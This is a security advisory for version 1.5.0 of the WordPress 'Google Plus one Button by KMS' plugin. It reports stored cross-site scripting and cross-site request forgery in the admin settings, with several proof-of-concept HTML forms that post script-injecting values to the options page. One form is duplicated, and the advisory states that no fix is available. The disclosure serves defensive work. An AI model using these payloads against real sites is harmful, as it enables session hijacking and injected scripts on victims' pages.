WordPress Google Plus one Button by KMS plugin version 1.5.0 suffers from cross site request forgery and cross site scripting vulnerabilities.
b22ca365d1e13f6763b293aa9355c3e79409d0f129033e0a6ae55c3a7767abd3
Title: WordPress 'Google 'Plus one' Button by kms' Plugin
Version: 1.5.0
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-16
Download:
- https://wordpress.org/plugins/google-plus-one-button-by-kms/
- https://plugins.svn.wordpress.org/google-plus-one-button-by-kms/
Notified WordPress: 2015-06-21
==========================================================
## Plugin description
==========================================================
WordPress bővítmény a Google +1 (plus one) gomb elhelyezésére. Megjeleníthető bejegyzés előtt, után, illetve az írások mellett bal oldalon
## CSRF/XSS vulnerabilities
==========================================================
The _SERVER variable 'REQUEST_URI' is printed directly into the HTML on the admin page.
The settings in the admin panel is vulnerable to stored XSS and the settings can be changed using an CSRF attack.
PoC(s):
Log in as admin and submit one of the following forms:
XSS on admin pages:
<form method="POST" action="[URL]/wp-admin/options-general.php?page=google-plus-one-share-button">
<input type="text" name="button_size" value="</script><script>alert(1)</script>"><br />
<input type="text" name="button_location" value="</script><script>alert(2)</script>"><br />
<input type="text" name="top_space" value="</script><script>alert(3)</script>"><br />
<input type="text" name="left_space" value="</script><script>alert(4)</script>"><br />
<input type="text" name="position" value="</script><script>alert(5)</script>"><br />
<input type="text" name="filter_tag" value="</script><script>alert(6)</script>"><br />
<input type="text" name="rp_gpo_submit" value="true" readonly><br />
<input type="submit">
</form>
<form method="POST" action="[URL]/wp-admin/options-general.php?page=google-plus-one-share-button">
<input type="text" name="button_size" value="</script><script>alert(1)</script>"><br />
<input type="text" name="button_location" value="</script><script>alert(2)</script>"><br />
<input type="text" name="top_space" value="</script><script>alert(3)</script>"><br />
<input type="text" name="left_space" value="</script><script>alert(4)</script>"><br />
<input type="text" name="position" value="</script><script>alert(5)</script>"><br />
<input type="text" name="filter_tag" value="</script><script>alert(6)</script>"><br />
<input type="text" name="rp_gpo_submit" value="true" readonly><br />
<input type="submit">
</form>
XSS on pages displaying a Google Plus +1 button:
<form method="POST" action="[URL]/wp-admin/options-general.php?page=google-plus-one-share-button">
<input type="text" name="button_size" value=""><br />
<input type="text" name="button_location" value="left" readonly><br />
<input type="text" name="top_space" value="asdf;}</style><script>alert(3)</script>"><br />
<input type="text" name="left_space" value="asdf;}</style><script>alert(4)</script>"><br />
<input type="text" name="position" value="asdf;}</style><script>alert(5)</script>"><br />
<input type="text" name="filter_tag" value=""><br />
<input type="text" name="rp_gpo_submit" value="true" readonly><br />
<input type="submit">
</form>
<form method="POST" action="[URL]/wp-admin/options-general.php?page=google-plus-one-share-button">
<input type="text" name="button_size" value=""/><script>alert(1)</script>"><br />
<input type="text" name="button_location" value="top" readonly><br />
<input type="text" name="rp_gpo_submit" value="true" readonly><br />
<input type="submit">
</form>
## Solution
==========================================================
No fix available
==========================================================
XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.